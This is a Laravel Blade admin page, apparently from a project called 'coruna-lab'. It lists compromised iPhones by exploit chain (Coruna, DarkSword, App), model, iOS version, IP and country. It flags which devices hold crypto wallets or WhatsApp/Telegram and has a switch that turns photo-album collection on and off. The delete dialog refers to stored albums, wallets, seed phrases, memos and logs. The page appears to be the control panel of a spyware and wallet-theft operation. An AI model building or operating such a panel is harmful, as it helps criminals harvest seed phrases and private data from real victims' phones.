Files
coruna-lab/resources/views/admin/devices/index.blade.php
T

289 lines
11 KiB
PHP

@extends('admin.content')
@section('title', '设备列表')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-device-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="chain">
<option value="">全部</option>
<option value="1">Coruna</option>
<option value="2">DarkSword</option>
<option value="3">App</option>
</select>
</div>
</div>
@include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">设备型号</label>
<div class="layui-input-block">
<input type="text" name="model" placeholder="iPhone9,1" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">IP</label>
<div class="layui-input-block">
<input type="text" name="ip" placeholder="ip" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">iOS 版本</label>
<div class="layui-input-block">
<input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">国家</label>
<div class="layui-input-block" style="min-width: 180px;">
<select name="country" lay-search>
<option value="">全部</option>
@foreach ($countries as $code => $name)
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">钱包</label>
<div class="layui-input-block">
<select name="has_wallet">
<option value="">全部</option>
<option value="0">未知</option>
<option value="1">无</option>
<option value="2">有</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">WS/TG</label>
<div class="layui-input-block">
<select name="has_im">
<option value="">全部</option>
<option value="yes">有</option>
<option value="whatsapp">有 WS</option>
<option value="telegram">有 TG</option>
<option value="none">无</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">安装时间</label>
<div class="layui-input-block">
<div class="layui-input-inline" style="width: 150px;">
<input type="text" name="installed_from" id="LAY-device-installed-from" placeholder="开始日期" autocomplete="off" class="layui-input">
</div>
<div class="layui-form-mid">-</div>
<div class="layui-input-inline" style="width: 150px;">
<input type="text" name="installed_to" id="LAY-device-installed-to" placeholder="结束日期" autocomplete="off" class="layui-input">
</div>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn layuiadmin-btn-list" lay-submit lay-filter="LAY-device-search">
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
</button>
<button type="reset" class="layui-btn layuiadmin-btn-list" id="LAY-device-reset">
<i class="layui-icon layui-icon-refresh-3 layuiadmin-button-btn"></i>
</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
<script type="text/html" id="LAY-device-ops">
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'laydate', 'layer'], function () {
var table = layui.table;
var form = layui.form;
var laydate = layui.laydate;
var layer = layui.layer;
var $ = layui.$;
var dash = function (v) { return v ? v : '—'; };
var esc = function (s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
};
var portal = @json($portal);
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/devices'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
laydate.render({ elem: '#LAY-device-installed-from', type: 'date' });
laydate.render({ elem: '#LAY-device-installed-to', type: 'date' });
table.render({
elem: '#LAY-device-list',
id: 'LAY-device-list',
url: @json(route($portal.'.devices.data')),
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
initSort: { field: 'created_at', type: 'desc' },
cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'chain', title: '利用链', width: 120, templet: function (d) {
var c = Number(d.chain);
var cls = 'tag-chain-coruna', label = 'Coruna';
if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; }
else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; }
return '<span class="tag-chain ' + cls + '">' + label + '</span>';
} },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
{ field: 'country', title: '国家', width: 90, sort: true, templet: function (d) {
return d.country_label || d.country || '—';
} },
{ field: 'has_wallet', title: '钱包', minWidth: 220, sort: true, templet: function (d) {
var st = Number(d.has_wallet);
if (st === 1) return '<span style="color:#64748b;">无</span>';
if (st !== 2) return '<span style="color:#94a3b8;">未知</span>';
var names = Array.isArray(d.wallet_names) ? d.wallet_names.filter(Boolean) : [];
var tags = names.map(function (n) {
return '<span class="tag-wallet">' + esc(n) + '</span>';
}).join(' ');
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
} },
{ field: 'im_names', title: 'WS/TG', width: 140, templet: function (d) {
var tags = [];
if (Number(d.has_whatsapp) === 1) tags.push('<span class="tag-im tag-im-ws">WS</span>');
if (Number(d.has_telegram) === 1) tags.push('<span class="tag-im tag-im-tg">TG</span>');
return tags.length ? tags.join(' ') : '<span style="color:#94a3b8;">—</span>';
} },
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
var on = Number(d.album_storage) === 1;
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
' data-id="' + d.id + '"' + (on ? ' checked' : '') + '>';
} },
{ field: 'created_at', title: '安装时间', width: 170, sort: true },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
]],
page: true,
limit: 20,
limits: [10, 20, 30, 50],
text: { none: '暂无设备' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
done: function () {
form.render('checkbox');
}
});
form.on('switch(LAY-device-album-list)', function (obj) {
var id = $(obj.elem).data('id');
var on = obj.elem.checked ? 1 : 0;
$.ajax({
url: updateBase + '/' + id,
method: 'POST',
data: { album_storage: on, _method: 'PUT', _token: token },
success: function (res) {
if (!res || res.code !== 0) {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
return layer.msg((res && res.msg) || '保存失败');
}
layer.msg(on ? '已开启' : '已关闭');
},
error: function () {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
layer.msg('保存失败');
}
});
});
form.on('submit(LAY-device-search)', function (data) {
table.reload('LAY-device-list', {
where: data.field,
page: { curr: 1 }
});
return false;
});
$('#LAY-device-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-list', {
where: {
device_key: '',
channel_id: '',
agent_user_id: '',
model: '',
ip: '',
ios: '',
country: '',
has_wallet: '',
has_im: '',
installed_from: '',
installed_to: ''
},
page: { curr: 1 }
});
}, 0);
});
table.on('tool(LAY-device-list)', function (obj) {
if (obj.event === 'destroy') {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: obj.data.destroy_url,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除');
obj.del();
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 #' + obj.data.id;
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush